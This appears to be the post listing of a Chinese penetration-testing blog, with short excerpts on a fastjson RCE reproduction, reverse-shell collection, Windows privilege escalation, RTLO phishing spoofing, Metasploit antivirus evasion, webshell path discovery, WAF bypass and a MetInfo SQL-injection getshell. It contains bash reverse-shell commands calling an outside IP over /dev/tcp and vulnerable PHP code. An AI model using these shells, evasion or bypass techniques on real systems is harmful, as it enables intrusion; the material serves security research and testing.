Hacker on Akkuman 的技术博客

fastjson低于1.2.47 RCE 漏洞复现

Mon, 15 Jul 2019 16:16:12 +0000

这两天爆出了 fastjson 的老洞，复现简单记录一下。

首先使用 spark 搭建一个简易的利用 fastjson 解析 json 的 http server。

反弹shell以及端口转发的方法收集

Thu, 23 Aug 2018 16:03:29 +0000

Bash

`1`	`bash -i >& /dev/tcp/192.168.1.142/80 0>&1`

exec 5<>/dev/tcp/192.168.1.142/80
cat <&5 | while read line; do $line 2>&5 >&5; done 
# or:
while read line 0<&5; do $line 2>&5 >&5; done

CVE-2018-8120 Windows权限提升

Fri, 18 May 2018 19:55:06 +0000

来源 : bigric3/cve-2018-8120

Detail : cve-2018-8120-analysis-and-exploit

从右向左覆盖实现恶意软件扩展名欺骗

Tue, 24 Oct 2017 13:20:07 +0000

这个技术虽然老掉牙，但在网络钓鱼中非常好用

关于msf反弹后门的免杀Tips

Thu, 20 Apr 2017 13:09:24 +0000

msf是一个很强大的工具，我经常会在渗透用它来反弹shell，不过它生成的反弹后门会被不少杀软kill，这篇文章只是讲讲我在msf中一个简单的免杀小技巧

Windows FindFirstFile利用

Sat, 04 Mar 2017 15:16:27 +0000

目前大多数程序都会对上传的文件名加入时间戳等字符再进行MD5，然后下载文件的时候通过保存在数据库里的文件ID读取文件路径，一样也实现了文件下载，这样我们就无法直接得到我们上传的webshell文件路径，但是当在Windows下时，我们只需要知道文件所在目录，然后利用Windows的特性就可以访问到文件，这是因为Windows在搜索文件的时候使用了FindFirstFile这一个winapi函数，该函数到一个文件夹(包含子文件夹)去搜索指定文件。

利用方法很简单，我们只要将文件名不可知部分之后的字符用"<“或者”>“代替即可，不过要注意一点是，只使用一个”<“或者”>“则只能代表一个字符，如果文件名是12345或者更长，这时候请求"1<“或者"1>“都是访问不到文件的，需要"1«“才能访问到，代表继续往下搜索，有点像Windows的短文件名，这样我们还可以通过这个方式来爆破目录文件了。

wqCms6.0在IIS6的Getshell

Wed, 22 Feb 2017 21:20:55 +0000

2017-02-15发布

一、漏洞利用点

漏洞文件:admin_UploadDataHandler.ashx 自定义构造上传点

WAF攻防研究之四个层次Bypass WAF

Sun, 25 Sep 2016 17:06:30 +0000

绝对值得一看的技术文章

pdf下载链接

[via@破-见 ]

PHP DOS漏洞的新利用：CVE-2015-4024 Reviewed

Sat, 24 Sep 2016 13:20:39 +0000

1. 背景介绍

今天我们想从2015.04.03的一个PHP远程dos漏洞（CVE-2015-4024）说起。技术细节见如下链接，https://bugs.php.net/bug.php?id=69364。因为php解析body part的header时进行字符串拼接，而拼接过程重复拷贝字符导致DOS。事实上该漏洞还有其他非dos的利用价值，其中之一，就是绕过当前各种云WAF的文件上传防御策略。

目前国内外流行的云WAF厂商有如百度云加速，360网站卫士，加速乐，云盾等。因为PHP远程dos漏洞及PHP官方修复方案的特点，我们成功利用该漏洞绕过了当前主流WAF的文件上传防御，例如百度云加速、360网站卫士、知道创于加速乐、安全狗。

接下来，我们以PHP为例，详细解析我们的绕过方法。

2. 绕过WAF的原理

根据PHP DOS漏洞原理，在multipart_buffer_headers函数解析header对应value时，value值存在n行。每行的字符串以空白符开头或不存字符’:’，都触发以下合并value的代码块。那么解析header的value就要执行(n-1)次合并value的代码块，从而导致DOS。

MetInfo V5.1 GetShell一键化工具

Wed, 08 Jun 2016 22:40:32 +0000

漏洞解析：

config/config.inc.php

$langoks = $db->get_one("SELECT * FROM $met_lang WHERE lang='$lang'");

if(!$langoks)die('No data in the database,please reinstall.');

if(!$langoks[useok]&&!$metinfoadminok)okinfo('../404.html');

if(count($met_langok)==1)$lang=$met_index_type;

$query = "SELECT * FROM $met_config WHERE lang='$lang' or lang='metinfo'";//看这里

$result = $db->query($query);

while($list_config= $db->fetch_array($result)){

	if($metinfoadminok)$list_config['value']=str_replace('"', '&#34;', str_replace("'", '&#39;',$list_config['value']));

	$settings_arr[]=$list_config;

	if($list_config['columnid']){

		$settings[$list_config['name'].'_'.$list_config['columnid']]=$list_config['value'];

	}else{

		$settings[$list_config['name']]=$list_config['value'];

	}

}

@extract($settings);